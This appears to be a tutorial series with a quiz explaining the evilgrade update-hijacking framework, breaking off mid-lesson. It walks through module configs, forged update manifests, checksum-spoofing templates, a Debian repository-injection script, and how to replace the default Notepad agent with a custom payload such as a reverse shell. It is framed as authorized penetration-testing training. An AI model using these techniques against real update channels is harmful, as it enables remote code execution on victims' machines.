  • Each of these three options is 'dynamic' => 1, meaning its 'val' string is Perl source evaluated at serve time, not a literal.
  • version builds 7.<two random digits> — a version string high enough to look like an upgrade over the victim's installed APT.
  • module splits the brequest value on / and takes the last path segment ([-1]), extracting just the filename of the requested package. This is how the engine knows what name to weave into the forged index.
  • rnd1 generates a 5-digit random number, used to fill <%RND1%> placeholders (see the commented-out cheader block referencing <%MODULE%><%RND1%>.exe).
  • 'hidden' => 1 keeps these out of the operator-facing options menu — they're plumbing, not knobs.

A fully-populated INI manifest (modules/cygwin.pm)

'name' => {
    'val'  => 'gzip',
    'desc' => 'Package name'
},
...
'version' => {
    'val'  => '3.1.33-7',
    'desc' => ''
},
'install' => {
    'val'  => 'release/gzip/gzip-3.1.33-7.tar.bz2',
    'desc' => ''
},
...
'pversion' => {
    'val'  => '1.3.12-1',
    'desc' => ''
},
...
'timestamp' => {
    'val'     => 'time + + 604800',
    'hidden'  => 1,
    'dynamic' => 1,
},
  • Cygwin's setup.ini is a structured INI manifest describing packages, versions, install paths, and source paths. The module exposes one option per INI field so the operator can impersonate a specific package convincingly.
  • name, version, install describe the "current" (malicious) release; pversion, pinstall, psource describe the previous release — Cygwin's setup.exe compares these to decide an update is needed.
  • 3.1.33-7 is deliberately higher than the victim's real gzip so the client treats it as an upgrade. This is version spoofing done with a fixed string rather than APT's random approach, because Cygwin's format is strict and must parse cleanly.
  • timestamp is dynamic: time + 604800 is now-plus-one-week (604800 seconds), giving the forged manifest a plausible, non-expired date. (The + + is Perl's unary-plus noise and still evaluates correctly.)

4. Common Mistakes

Forgetting to set 'parse' => 1 on a template

Learners copy a request entry but leave 'parse' => 0, so placeholders like <%MODULE%> are served literally. The client then rejects the manifest because the names/checksums don't line up. Avoid it by remembering: any file that contains substitution placeholders must be parsed; only raw binary payloads keep parse => 0.

Treating appver as the advertised version

appver is a human-readable note about which versions are vulnerable — it's never sent to the client. The value actually advertised comes from the version option. Confusing them leads to editing the wrong field and wondering why the spoof doesn't trigger. Avoid it by remembering: appver = documentation, options.version = wire value.

Mis-ordering request entries so the broad regex wins

In cpan.pm the broad (.tar.gz|.gz|.zip) agent match could swallow a more specific file request if placed first. Since matching is top-down, a greedy pattern earlier in the array hijacks requests meant for a manifest. Avoid it by listing specific manifest paths (/CHECKSUMS, setup.ini) before catch-all payload patterns.

5. Real-World Use Case

Imagine you're on a penetration-test engagement and discover that a developer's machine periodically runs cpan to update Perl modules over plaintext HTTP. You'd select the cpan module, point its agent option at your crafted agent_perl.tar.gz, and let the module serve a forged /CHECKSUMS whose entries match your payload. When the target's CPAN client fetches the checksum manifest, verifies your payload against your own forged hash, and installs it, you achieve code execution — all because the manifest (not just the binary) was spoofed convincingly. The dynamic module and version options ensure the forged response names the exact package the victim asked for.

6. Next Steps

Next, study how isrcore::utils and the request-handling engine actually perform the placeholder substitution and evaluate the dynamic option code — that's where these declarative module definitions turn into live HTTP responses.

Lesson 4

Mobile and OS Update Modules

Mobile and OS Update Modules

1. Overview

This lesson examines three evilgrade modules that target mobile and desktop software update mechanisms: BlackBerry App World (bbappworld.pm), BlackBerry social apps (blackberry.pm), and the Mac App Store help system (appstore.pm). Each module is a declarative Perl data structure that tells evilgrade how to impersonate a legitimate update server. By studying these three side by side, you'll see how a single framework adapts to very different platforms — BlackBerry's .cod/.jad installers, App World's ClientAPI endpoints, and Apple's help-book versioning — and why each one spoofs a specific vendor hostname (the vh field). This matters because understanding how these payload-delivery differences are expressed in config makes the framework readable and lets you reason about how update interception works in practice.

2. Key Concepts

Virtual Host (vh) Targeting

  • Name: The vh field is a regex that matches the hostname a victim's client requests. It's how a module declares which real update endpoint it masquerades as.
  • Example: Like a mailbox labeled with someone else's name — mail addressed to that name gets dropped here instead of the real recipient.
  • In the code: bbappworld.pm uses 'vh' => 'appworld.blackberry.com', blackberry.pm uses 'vh' => '(www.blackberry.com)', and appstore.pm uses 'vh' => '(help.apple.com)'.

Request Handlers and type

  • Name: Each entry in the request array matches a URL pattern (req) and declares a response type: file, string, agent, or install.
  • Example: A switchboard operator routing calls — depending on what the caller asks for, they connect you to a recording, a file, or a live transfer.
  • In the code: appstore.pm returns a string for the version check and an agent for the .zip download. blackberry.pm serves file responses for descriptors and an agent for .cod.

Payload (agent) Injection

  • Name: The agent option names the malicious artifact delivered when the matching request fires. Its format is platform-specific.
  • Example: Swapping the contents of a sealed package while keeping the original shipping label intact.
  • In the code: BlackBerry uses ./agent/EkopartyWebIcon.cod, App World uses ./agent/agent.cab, and the App Store module uses ./agent/helpbook.zip (per each module's options.agent.val).

Dynamic Option Values

  • Name: Options marked 'dynamic' => 1 have their val evaluated as Perl at runtime, often producing random values to look authentic.
  • Example: A fake ID generator that stamps a plausible-but-random serial number each time.
  • In the code: bbappworld.pm and blackberry.pm both define a version and rnd1 option using isrcore::utils::RndNum(...).

Custom Response Headers (cheader)

  • Name: The cheader field lets a handler send a crafted HTTP response — including redirects — instead of a plain body.
  • Example: A road sign that reroutes traffic down a detour you control.
  • In the code: blackberry.pm uses a 302 Found redirect header to steer the client toward a crafted update.jad URL.

3. Code Walkthrough

App Store: version string then payload (modules/appstore.pm)

'vh'      => '(help.apple.com)',
'request' => [
    {   'req'    => 'helpbook-version.txt',    #regex friendly
        'type'   => 'string',                  #file|string|agent|install
        'method' => '',                        #any
        'bin'    => 0,
        'string' => '324071169.795686',
        'parse'  => 0,
        'file'   => '',
    },

    {   'req'    => '.zip',                    #regex friendly
        'type'   => 'agent',                   #file|string|agent|install
        'method' => '',                        #any
        'bin'    => 1,
        'string' => '',
        'parse'  => 0,
        'file'   => ''
    },
],
  • The first handler matches helpbook-version.txt and replies with an inline string — a fixed version number. This convinces the client that a newer help book is available.
  • The second handler matches any .zip request and responds with type => 'agent', delivering the payload named in options.agent.val. Because bin => 1, the response is treated as binary.
  • This two-step pattern (advertise a version, then serve the payload) is common: the version check triggers the download, and the download is where injection happens. The description field in this module documents the associated CVE and references external write-ups; read it in the source for background on the technique.

App Store options (modules/appstore.pm)

'options' => {
    'agent' =>
        { 'val' => './agent/helpbook.zip', 'desc' => 'Agent to inject' },
    'enable' => {
        'val'  => 1,
        'desc' => 'Status'
    },
}
  • agent points at the payload file served for the .zip request.
  • enable is set to 1 here, unlike the BlackBerry modules which ship with 'enable' => { 'val' => 0 }. This controls whether the module is active by default.

BlackBerry: redirect then descriptor (modules/blackberry.pm)

The excerpt below shows the handlers as they appear in the file. Only three handlers are shown here; refer to the full source for the complete list.

{   'req' => '(/facebook/|/twitterdownload)',    #regex anything
    'type'    => 'string',                  #file|string|agent|install
    'method'  => '',                        #any
    'bin'     => '',
    'string'  => '',
    'parse'   => '1',
    'file'    => '',
    'cheader' => "HTTP/1.1 302 Found\r\n"
        . "Location: http://www.blackberry.com/<%RND1%>update.jad \r\n"
        . "Content-Length: 0 \r\n"
        . "Connection: close \r\n\r\n",
},

{   'req'    => 'update.jad',               #regex friendly
    'type'   => 'file',                     #file|string|agent|install
    ...
    'file'    => './agent/EkopartyWebIcon.jad',
    'cheader' => "HTTP/1.1 200 OK\r\n"
        . "Content-type: text/vnd.sun.j2me.app-descriptor \r\n"
        . "Connection: close \r\n\r\n"

},

{   'req'    => '.cod',                     #regex friendly
    'type'   => 'agent',                    #file|string|agent|install
    ...
    'file'   => ''
},
  • The first handler matches a download path (/facebook/ or /twitterdownload) and returns a 302 Found redirect. The Location header contains <%RND1%>, a placeholder substituted at runtime by the dynamic rnd1 option.
  • The redirect sends the client to an update.jad URL. The second handler matches update.jad and serves a JAD file with the correct J2ME descriptor content type — the metadata file a BlackBerry client reads before fetching the actual installable.
  • The final handler matches .cod (the BlackBerry executable format) and delivers the payload as an agent. The JAD-then-COD sequence mirrors how real BlackBerry apps are distributed: a descriptor first, then the binary.

4. Common Mistakes

Assuming req patterns are exact paths

  • Mistake: Reading 'req' => '.zip' or 'req' => '.cod' as literal filenames.
  • Why it happens: The values look like file extensions, but the comment #regex friendly signals they are matched as regular expressions. A bare .cod matches any request containing that substring.
  • Avoid it: Treat every req as a regex fragment. Anchor or escape it if you need precise matching.

Confusing string with file responses

  • Mistake: Expecting type => 'string' to read content from disk.
  • Why it happens: Both deliver a response body, but string returns the inline string field (like App Store's '324071169.795686'), while file reads from the path in file.
  • Avoid it: Check the type field first — it decides whether string or file is used.

Overlooking the enable default

  • Mistake: Assuming every module is live out of the box.
  • Why it happens: appstore.pm ships with 'enable' => { 'val' => 1 }, but bbappworld.pm and blackberry.pm both default to 0.
  • Avoid it: Verify the enable value (or explicitly configure it) before expecting a module to respond.

5. Real-World Use Case

Imagine you're a security researcher demonstrating the risk of unauthenticated update channels on mobile platforms. You position evilgrade as a man-in-the-middle for a test device and enable blackberry.pm. When the device's Facebook or Twitter app checks for updates against www.blackberry.com, the module's handlers answer: it issues the 302 redirect, serves a crafted update.jad descriptor with the proper J2ME content type, and finally delivers the .cod payload named in options.agent.val. This lets you show stakeholders concretely how an update that lacks transport authentication or signature verification can be hijacked to deliver attacker-controlled code — the whole point of these proof-of-concept modules.

6. Next Steps

Next, study how the core framework parses these module definitions and dispatches requests at runtime (the isrcore library and the DNS/HTTP server components), which will show you how vh, req, and type are actually matched against live traffic.

Lesson 5

Server-Side Payload Scripts for Fake Update Responses

Server-Side Payload Scripts for Fake Update Responses

Overview

This lesson explores how the evilgrade framework uses server-side helper scripts—written in PHP or JavaScript—to craft dynamic responses that impersonate legitimate update servers. Many applications check for updates by contacting a known URL and parsing the reply for a version number and a download link. By intercepting that request and returning a carefully-formatted fake response, a security researcher (operating in an authorized test environment) can demonstrate how an insecure update mechanism can be exploited to deliver arbitrary payloads. Understanding these helper endpoints is essential for configuring evilgrade modules correctly and for auditing the real-world update protocols that applications rely on.


Key Concepts

1. Update-Check Protocols Are Just HTTP Conversations

  • Name: Applications "phone home" to a fixed endpoint and trust whatever version string and download URL come back.
  • Example: Think of a vending machine that asks a central office "Is there a newer snack recipe?" and blindly installs whatever it's told. If someone intercepts the phone line, they control the recipe.
  • In the code: include/winamp/latest-version.php returns a plain version number (9.573) and a notice URL—exactly the shape Winamp's client expects when it polls for updates.

2. Static vs. Dynamic Response Payloads

  • Name: Some fake responses are hard-coded strings; others must be assembled at request time (randomized filenames, computed version comparisons).
  • Example: A static response is like a pre-printed form letter; a dynamic one is like a mail-merge that fills in a fresh name for every recipient.
  • In the code: include/photoscape/update.php injects a token <%RND1%> into the download path so each generated reply points to a uniquely-named executable.

3. Protocol-Specific Formatting Matters

  • Name: Each target application parses its update reply differently—delimiters, field order, and encoding are not interchangeable.
  • Example: Two bureaucracies may both want "your details," but one wants them comma-separated and the other semicolon-separated. Submit the wrong format and you're rejected.
  • In the code: PhotoScape uses semicolons (-VERSION;...exe;), while the atube/YTC module uses URL-style key/value pairs (&last=3.0.299&url=).

4. Template Tokens for Runtime Substitution

  • Name: Placeholder tokens let the framework splice in values (random strings, the agent's own hostname, the payload URL) when the request arrives.
  • Example: A party invitation template with [GUEST NAME] that gets filled in per guest.
  • In the code: <%RND1%> in the PhotoScape script is the token the framework replaces before sending the final response.

5. Version Spoofing

  • Name: The fake response advertises a version high enough to convince the client an update is available.
  • Example: Telling someone "the latest model is v9" when they own v8 guarantees they'll want the "upgrade."
  • In the code: Winamp's 9.573 and YTC's last=3.0.299 are deliberately-chosen version numbers meant to clear the client's "is this newer than mine?" check.

Code Walkthrough

Winamp: A Nearly-Static Response

// File: include/winamp/latest-version.php
9.573
http://client.winamp.com/update/client/notice.php

This file is intentionally minimal. The Winamp client expects a two-part reply: a version number on one line and an associated notice/update URL on another.

  • 9.573 is the advertised version. Because it's higher than typical installed builds, the client concludes an update exists.
  • The second line is the notice URL the client will follow.

It's written as flat text (not wrapped in PHP logic) because Winamp's protocol here is simple enough that no computation is required—the server just needs to echo the correct lines in the correct order.

PhotoScape: Dynamic Filename via a Token

// File: include/photoscape/update.php
-VERSION;http://www.photoscape.org/ps/main/photoscapeupdate<%RND1%>.exe;

This single line is a template, not a finished response.

  • -VERSION; is the leading field PhotoScape's updater reads; it signals the version portion of the semicolon-delimited record.
  • http://www.photoscape.org/ps/main/photoscapeupdate<%RND1%>.exe is the download URL. Note it mimics the real PhotoScape domain so the reply looks authentic.
  • <%RND1%> is a substitution token. The framework replaces it with a random value at request time, producing a unique executable filename per response.
  • The trailing ; closes the record in the format PhotoScape expects.

The semicolon delimiters and field ordering are dictated entirely by PhotoScape's own parser—the script's job is to match that format exactly.

atube / YTC: URL-Encoded Key/Value Reply

// File: include/atube/ytc.php
&last=3.0.299&url=

This fragment uses the query-string style that the atube/YTC updater expects.

  • &last=3.0.299 sets the advertised "latest" version to 3.0.299, triggering the update prompt.
  • &url= is the key whose value points the client to the download. In the running module, the framework appends the payload location after this url= key.

It's written as a bare fragment because the module assembles the complete response around it—this file supplies the protocol-specific piece the framework splices into its reply.


Common Mistakes

1. Using the Wrong Delimiter or Field Order

  • Mistake: Copying PhotoScape's semicolon format into a module that expects URL-encoded key/value pairs (or vice versa).
  • Why it happens: All three files look like short strings, so it's tempting to assume they're interchangeable.
  • How to avoid it: Always confirm the target application's parsing format by inspecting a real update response before writing your spoofed one. The delimiter is dictated by the client, not by you.

2. Forgetting Substitution Tokens

  • Mistake: Hard-coding a static filename where a token like <%RND1%> belongs.
  • Why it happens: Static responses (like Winamp's) work fine, so learners assume dynamic ones will too.
  • How to avoid it: When the real protocol expects a unique or randomized value per request, use the framework's token (<%RND1%>) so each response is freshly generated.

3. Advertising a Version That's Too Low

  • Mistake: Setting last= or the version line to a number that's equal to or below the client's installed build.
  • Why it happens: Learners pick an arbitrary value without checking what the client is running.
  • How to avoid it: Choose a version number strictly higher than the target install (e.g., 9.573, 3.0.299) so the client's "is this newer?" comparison passes.

Real-World Use Case

A penetration tester is engaged to audit a corporate workstation image that still ships with an outdated media application. The application checks for updates over plain HTTP with no signature verification. Using evilgrade in the test lab, the tester configures the appropriate module and its server-side helper script (modeled on latest-version.php) to return an inflated version number and a download URL pointing at a benign proof-of-concept payload. When the application performs its next update check, it accepts the spoofed response and attempts to "upgrade," demonstrating concretely to the client that their update channel needs HTTPS and code signing.


Next Steps

Now that you understand how individual helper scripts format fake responses, the natural next step is learning how the main evilgrade module configuration (version strings, payload options, and the DNS/HTTP redirection layer) ties these scripts into a complete end-to-end spoofing flow.

📝 Module Quiz

Answer all questions to check your understanding. 70% to pass.

Q1. Why does the ordering of entries in a module's `request` array matter when designing an exploit module?

Q2. What is the fundamental security weakness that all evilgrade modules are designed to demonstrate?

Q3. An option is declared as `'size' => { 'val' => " '2'.isrcore::utils::RndNum(7) ", 'dynamic' => 1 }`. What does the `dynamic => 1` flag cause the framework to do with the `val` string?

Q4. A learner edits the `version` option in a simple download-replacement module to advertise a newer release, but the victim app still rejects the fake update. Based on the lessons, what is the most likely cause?

Q5. In `blackberry.pm`, a handler matching `/facebook/` uses a `cheader` with a `302 Found` and a `Location` of `http://www.blackberry.com/<%RND1%>update.jad`, after which another handler serves `update.jad`, and finally a `.cod` handler delivers the agent. Why is this multi-step sequence (redirect → descriptor → binary) used instead of serving the `.cod` payload directly?

Module 5

Agents and Payloads

Explore the pre-made agent binaries, payload includes, and how they are packaged and served.

Lesson 1

Pre-made Agent Binaries

Pre-made Agent Binaries

Overview

Evilgrade is a modular framework that exploits insecure software update mechanisms. When a target application checks for updates over an insecure channel, evilgrade can inject a malicious "update" that the victim downloads and executes. This lesson focuses on the pre-made agent binaries shipped with the framework—the default payloads that get delivered to victims. Understanding what these agents are, which platforms they target, and how to swap them for your own payloads is essential for using evilgrade effectively (and understanding the attack surface when defending against it).

Key Concepts

1. The Agent as a Delivered Payload

The "agent" is whatever executable the victim runs after accepting the fake update. Evilgrade's job is to deliver this file; the agent itself is a standalone binary or script.

  • Example: Think of a malicious package delivery. Evilgrade is the courier who forges the shipping label; the agent is the package inside the box that does something once opened.
  • In the code: agent/agent.exe is the default Windows payload, and agent/agent_perl.tar.gz is a packaged Perl-based agent for other platforms.

2. Platform-Specific Binaries

Different victims run different operating systems, so evilgrade ships agents in formats appropriate to each target platform.

  • Example: A locksmith carries different keys for different lock brands—one tool won't fit every door.
  • In the code: The .exe extension and PE header in agent/agent.exe mark it as a Windows executable, while the .tar.gz of agent/agent_perl.tar.gz is a compressed archive meant for Unix-like systems where Perl is commonly available.

3. The Default Agent is a Placeholder

The shipped agent.exe is intentionally harmless—it is simply Notepad. This is a deliberate safety and demonstration choice: it proves code execution without doing damage.

  • Example: A fire drill uses a real alarm but no actual fire—you verify the mechanism works without harm.
  • In the code: docs/FILES documents this explicitly.

4. Documentation as a Map

docs/FILES is the index that tells you what each bundled file actually is, so you don't have to reverse-engineer binaries to understand the framework's intent.

  • Example: A museum placard tells you what an exhibit is without having to disassemble it.
  • In the code: The single line in docs/FILES describes the nature of agent.exe.

5. Replaceable Payloads

Because the agent is just a file on disk referenced by the framework, you replace it by substituting your own binary at the expected path—no changes to core logic required.

  • Example: Swapping a USB stick's contents while keeping the same label—the delivery system never changes, only the cargo.
  • In the code: Dropping a custom .exe in place of agent/agent.exe changes what the victim runs.

Code Walkthrough

The Documentation Index

File: docs/FILES

/agent/agent.exe: It's a Notepad.exe

This single line is your ground truth for the default Windows agent. It tells you that the shipped binary is not malware—it's a copy of Windows Notepad. The practical implication: if you run evilgrade out of the box against a Windows target, the "attack" launches Notepad on the victim. This is a proof-of-concept marker, confirming arbitrary code execution occurred without any destructive behavior. When building your own setup, treat this file as the slot you will fill with a real payload.

The Windows Agent Binary

File: agent/agent.exe

MZ                @                                         !L!This program cannot be run in DOS mode.
...
PE  L |e7          f   \       d
...
comdlg32.dll SHELL32.dll MSVCRT.dll ADVAPI32.dll KERNEL32.dll GDI32.dll USER32.dll WINSPOOL.DRV
...
* . t x t   t x t   N p S a v e D i a l o g     notepad.chm RegisterPenApp
...
S o f t w a r e \ M i c r o s o f t \ N o t e p a d     L u c i d a   C o n s o l e

Reading this binary confirms the documentation:

  • MZ at the very start is the DOS header magic number—every Windows executable begins here.
  • This program cannot be run in DOS mode. is the standard stub message.
  • PE marks the start of the Portable Executable header, the real Windows program format.
  • The imported DLLs (SHELL32.dll, USER32.dll, GDI32.dll, etc.) are exactly what a GUI text editor needs—window management, dialogs, and graphics.
  • The strings *.txt, NpSaveDialog, notepad.chm, and the registry path Software\Microsoft\Notepad are the unmistakable fingerprint of Notepad.

You don't need to run the file to verify its purpose—the embedded strings tell the story. When you replace this with a custom payload, your binary will be an arbitrary PE file that KERNEL32/USER32 imports no longer need to match.

The Perl Agent Archive

File: agent/agent_perl.tar.gz

This file is a gzip-compressed tar archive (its binary content is compressed, so the raw bytes shown are not human-readable). Because it is Perl-based and packaged as a .tar.gz, it targets Unix-like systems where Perl is preinstalled and tar/gzip are standard. Unlike the Windows .exe, which is a single compiled binary, this archive likely bundles one or more Perl scripts plus supporting files that get extracted and executed on the victim. The key takeaway for this lesson: when your target is Linux or macOS rather than Windows, this is the agent format evilgrade reaches for. To inspect it in practice you would decompress and unpack it with standard tooling before examining the scripts inside.

Common Mistakes

1. Assuming the default agent does something malicious

Learners sometimes run evilgrade, see "success," and panic (or get confused) when nothing bad happens. The default agent.exe is Notepad—by design. Avoid this by reading docs/FILES first; it explicitly documents each shipped file's true nature.

2. Replacing the agent but ignoring platform match

It's tempting to drop any payload into the agent slot. But a Windows .exe won't execute on a Linux victim, and a Perl archive won't run on a system without Perl. This happens because learners treat "agent" as one abstract thing rather than platform-specific files. Avoid this by matching your replacement to the target OS—use a PE binary for the Windows slot and a Perl/Unix-appropriate package for the agent_perl.tar.gz slot.

3. Forgetting the agent must be self-sufficient

Because the agent runs on the victim's machine, it cannot rely on tools, paths, or libraries that only exist on your attacker box. New users often build payloads that work locally but fail on delivery. Avoid this by testing your custom agent in an isolated environment resembling the victim (correct OS, minimal dependencies), just as the Notepad default depends only on standard system DLLs.

Real-World Use Case

You are conducting an authorized red-team engagement and have positioned yourself as a man-in-the-middle for a client's workstation that auto-updates a vulnerable application. You want to demonstrate real impact—say, establishing a reverse shell—rather than just popping Notepad. You compile a custom Windows payload, verify it only depends on standard system libraries (mirroring how agent.exe imports only KERNEL32.dll, USER32.dll, and friends), and place it in the agent/ directory in the slot where agent.exe lived. Evilgrade's delivery mechanism is untouched; when the target accepts the forged update, it now runs your payload instead of Notepad, proving the end-to-end risk to the client.

Next Steps

Now that you understand what the agents are and how to swap them, the natural next concept is how evilgrade's module configuration references and delivers these agents—learning where the framework points to the agent file so you can wire your custom payload into a specific exploit module.

Lesson 2

Payload Include Templates

Payload Include Templates

Overview

Evilgrade works by impersonating legitimate software-update servers and feeding a target machine a forged update that actually installs an attacker-controlled agent. The "include" templates are the heart of this deception: they are the update-metadata files (catalogs, INIs, Perl checksum generators) that each vendor's updater expects to receive. This lesson shows how those templates provide forged update data, how a module locates and uses its include directory, and how you edit a template so the victim downloads your agent instead of the real patch. Understanding these files is essential because they are where the real update format meets the placeholders evilgrade fills in at runtime.

Key Concepts

1. Include templates mimic real vendor responses

  • Name: An include file is a near-verbatim copy of what a real update server sends, with the download target swapped for an attacker agent.
  • Example: Like a forged shipping manifest that looks identical to the courier's real paperwork, but lists a different warehouse as the pickup location.
  • In the code: appleupdate_catalog.xml is a valid Apple Software Update plist — correct DOCTYPE, product keys, localization dist URLs — but the package URL points at AppleSoftwareUpdate.exe, the agent payload.

2. Placeholder tokens are filled in at runtime

  • Name: Templates contain <%...%> tokens that evilgrade substitutes with values computed from the actual agent binary (size, hashes) when a victim connects.
  • Example: A mail-merge letter with <%FIRST_NAME%> that gets personalized for each recipient at send time.
  • In the code: <%AGENTSIZE%> in the Apple catalog, and <%AGENTMD5%> / <%AGENTSHA256%> emitted by gencpan.pl.

3. The include directory is referenced by module name

  • Name: Each attack module has a matching subdirectory under include/ (e.g. include/appleupdate/, include/cpan/, include/flashget/), keeping each vendor's forged data isolated.
  • Example: A costume shop with one labeled bin per disguise — you grab the whole "Apple" bin when you want to look like Apple.
  • In the code: The three key files live in include/cpan/, include/appleupdate/, and include/flashget/, mirroring their module names.

4. Some templates are generated, not static

  • Name: Where a response needs a dynamically computed structure (e.g. a per-file checksum table), evilgrade ships a generator script instead of a flat file.
  • Example: A spreadsheet macro that rebuilds a price table from a list, rather than a hand-typed table.
  • In the code: gencpan.pl reads a file list and prints a Perl $cksum hash literal with hash placeholders for each entry.

Code Walkthrough

Generating the CPAN checksum table

# include/cpan/gencpan.pl
open(FZ,"list2");

print "\$cksum = {\n";
foreach (<FZ>){
chomp($_);
/\/([\w.\-_]+)$/;
printf "'$1' => {'md5' => '<%AGENTMD5%>','sha256' => '<%AGENTSHA256%>',},";
# ...
}

print "\n};"
  • open(FZ,"list2") reads a file named list2 containing module/distribution paths.
  • The foreach (<FZ>) loop iterates one path per line; chomp strips the newline.
  • /\/([\w.\-_]+)$/ captures the filename (the segment after the last /) into $1.
  • The printf emits one entry of a CPAN $cksum hash, keyed by that filename, with <%AGENTMD5%> and <%AGENTSHA256%> as placeholders.

The CPAN client verifies downloads against a CHECKSUMS file. By generating a table where every entry's hash matches the agent, evilgrade ensures the forged binary passes integrity checks no matter which distribution the client requests. The script is written to produce valid Perl so the output can be dropped straight into the module's response.

Pointing the Apple catalog at the agent

<!-- include/appleupdate/appleupdate_catalog.xml -->
<key>Packages</key>
<array>
    <dict>
        <key>Size</key>
        <integer><%AGENTSIZE%></integer>
        <key>URL</key>
        <string>http://swcatalog.apple.com/AppleSoftwareUpdate.exe</string>
        <!--string>http://swcatalog.apple.com/content/downloads/14/21/061-4339/J1z3sQMyb9kdyBP5wqzP6YD6MVJWdhTV2TX/AppleSoftwareUpdate.msi</string-->
    </dict>
</array>
  • <%AGENTSIZE%> is replaced at runtime with the agent binary's byte count so the updater's size check passes.
  • The active URL (AppleSoftwareUpdate.exe) is where the client fetches the "update" — evilgrade serves the agent at this path.
  • The commented-out <!--string>...msi</string--> preserves the original legitimate URL for reference; it is inert XML comment, not served.

The rest of the file (product 061-4339, localized dist URLs, PostDate) is faithfully copied from a real Apple catalog so the client's parser accepts it. Only the package entry is weaponized.

A static INI template (FlashGet)

+[Info]
+version=1.9.9
+[Lang]
+JCARA=1.80,Arabic
+JCENG=1.8.4,English
# ...

Unlike the Apple and CPAN examples, flashget_fgupdate.ini contains no <%...%> tokens — it is the version/language manifest FlashGet's updater parses to decide an update is available. The leading + on each line is part of this template's expected format. The actual malicious binary is delivered through the FlashGet module's download handler rather than being named in this file; this template's job is purely to convince the client that a newer version exists and trigger the download. Treat it as prose reference, not as a file you hash-substitute into.

Common Mistakes

  1. Breaking the vendor format while editing. Learners often "clean up" the XML, delete the commented-out MSI line, or drop the + prefixes in the INI. The victim's parser is strict — any format deviation makes it reject the response and no exploit fires. Avoid this by changing only the payload target/placeholder and leaving surrounding structure byte-for-byte intact.

  2. Removing or renaming placeholder tokens. It's tempting to hardcode a size or hash. But <%AGENTSIZE%>, <%AGENTMD5%>, and <%AGENTSHA256%> are filled from the actual agent at runtime; hardcoding stale values causes integrity/size mismatches and failed installs. Keep the tokens exactly as written (casing matters).

  3. Editing the wrong file for binary delivery. Because the Apple catalog names a URL, learners assume every module's include file names the agent — then try to "fix" the FlashGet INI to point at a payload. The FlashGet template only advertises a version; the download path lives in the module code. Confirm whether a template actually references the agent before editing it.

Real-World Use Case

Suppose you're running an authorized red-team engagement and you've built a custom agent that must be served to an Apple-updater client on the target network. You copy your signed-looking payload into evilgrade's agent path, then open include/appleupdate/appleupdate_catalog.xml and confirm the package URL points to the filename evilgrade will serve (e.g. AppleSoftwareUpdate.exe), leaving <%AGENTSIZE%> untouched so the correct size is injected at connect time. When the target's Software Update checks in, it parses your forged catalog, sees a matching-size package at your URL, and downloads the agent — all because the include template looked exactly like Apple's real response.

Next Steps

Once you understand how templates provide forged data and where placeholders come from, study the module definitions that reference these include files and perform the <%...%> substitution at runtime — that's where template, agent, and network handler are wired together.

Lesson 3

Specialized Package Agents (Debian, Java, OSX)

Specialized Package Agents (Debian, Java, OSX)

1. Overview

Evilgrade works by exploiting insecure software update mechanisms: when a vulnerable application checks for updates, evilgrade serves a malicious "update" instead. To make those fake updates look legitimate, evilgrade must deliver them in the native package format the target platform expects — a .deb for Debian/Ubuntu, a .dmg for macOS, an .apk for Android, and so on. This lesson focuses on how evilgrade prepares and injects a Debian package agent into a repository's metadata so the system's package manager accepts and installs it. You'll trace the shell script that rewrites repository index entries to point at the attacker's package while keeping checksums internally consistent.

Note on scope: Of the files listed for this lesson, only include/debian/inject_agent_packages.sh is shown in the source excerpt. The contents of agent/debian/readme.txt and agent/java/javaws.exe were not provided, so this lesson discusses them in prose and grounds all concrete code claims in the script that is available.

2. Key Concepts

Platform-specific agent packaging

  • Name: Each OS has its own package format and installation conventions (.deb, .apk, .dmg). An agent must be wrapped in the format the target's installer understands.
  • Example: Shipping a Linux binary to a Mac user is like mailing a European wall plug to someone in the US — the payload may be fine, but it won't physically fit the socket. A .dmg fits macOS; a .deb fits Debian.
  • In the code: The injection script is specialized for Debian: it builds and references a .deb file (seed-debian_0.3_all.deb) and manipulates Debian's Packages repository index format (with Package:, Depends:, Architecture:, MD5sum: fields).

Package metadata and integrity checksums

  • Name: Package managers verify downloads against checksums (MD5sum, SHA1, SHA256) and sizes stored in a repository index. Any injected package must supply matching values or installation fails.
  • Example: A shipping manifest lists each box's weight and seal number. If the receiving dock measures a different weight, it rejects the delivery. The script computes the "weights" so the dock accepts the box.
  • In the code: The script runs md5sum, sha1sum, sha256sum, and stat -c %s on the .deb, then substitutes those values into the Packages index.

Repository index injection

  • Name: Instead of attacking the client directly, you modify the server-side package list (Packages file) so the attacker's package appears as a legitimate, required dependency.
  • Example: Slipping a forged entry into a hotel's guest registry so your name shows up as an expected VIP arrival.
  • In the code: The script reads an existing Packages file ($2), rewrites its Size/MD5sum/SHA1/SHA256/Depends lines, then appends a new seed-debian stanza marked Priority: required.

Dependency coercion

  • Name: By rewriting Depends: entries and declaring the agent required, the attacker forces the package manager to pull in the malicious package during routine updates.
  • Example: Making your product a mandatory "safety accessory" so it ships with every order automatically.
  • In the code: sed -e 's/Depends: .*/Depends: seed-debian/' rewrites existing dependency lines so other packages now depend on the agent.

Separation of build vs. inject steps

  • Name: Building the package (dpkg-deb -b) and injecting it into a repository index are deliberately kept as separate manual steps to avoid accidental repository corruption.
  • Example: A publisher prints a book and separately decides which catalog to list it in — two distinct, reviewable actions.
  • In the code: The script contains the build command only as a comment and refuses to run without exactly two arguments, forcing the operator to perform steps intentionally.

3. Code Walkthrough

Building the Debian agent package (as documented in the script's comment)

The package build is not executed by the script. It appears as a comment reminding the operator how to produce the .deb:

# File: include/debian/inject_agent_packages.sh
    #create package dpkg-deb -b seed-debian/ seed-debian_0.3_all.deb
  • dpkg-deb -b seed-debian/ seed-debian_0.3_all.deb builds a binary Debian package from the seed-debian/ directory tree, naming the output seed-debian_0.3_all.deb.
  • seed-debian/ is expected to contain the standard DEBIAN/ control subdirectory plus the files to install. (The exact contents of that directory and of agent/debian/readme.txt are not shown in the source excerpt, so treat details of the payload as unverified here.)
  • It's a comment, not a live command, because building and injecting are intentionally decoupled — see the usage guard below.

Argument validation and usage guard

# File: include/debian/inject_agent_packages.sh
# could be done automatically, but to avoid messing something...
if [ $# -ne 2 ]
then
echo "$0 [pkg.deb] [Packages] > newfile"
exit 0
fi
  • [ $# -ne 2 ] checks that exactly two arguments were supplied: the .deb file and the existing Packages index.
  • If not, it prints usage and exits. The comment ("to avoid messing something") explains the design choice: repository index files are fragile, and an accidental run could corrupt them.
  • Output is designed to go to stdout (> newfile), so the caller controls where the rewritten index lands rather than overwriting in place.

Computing checksums and rewriting the index

# File: include/debian/inject_agent_packages.sh
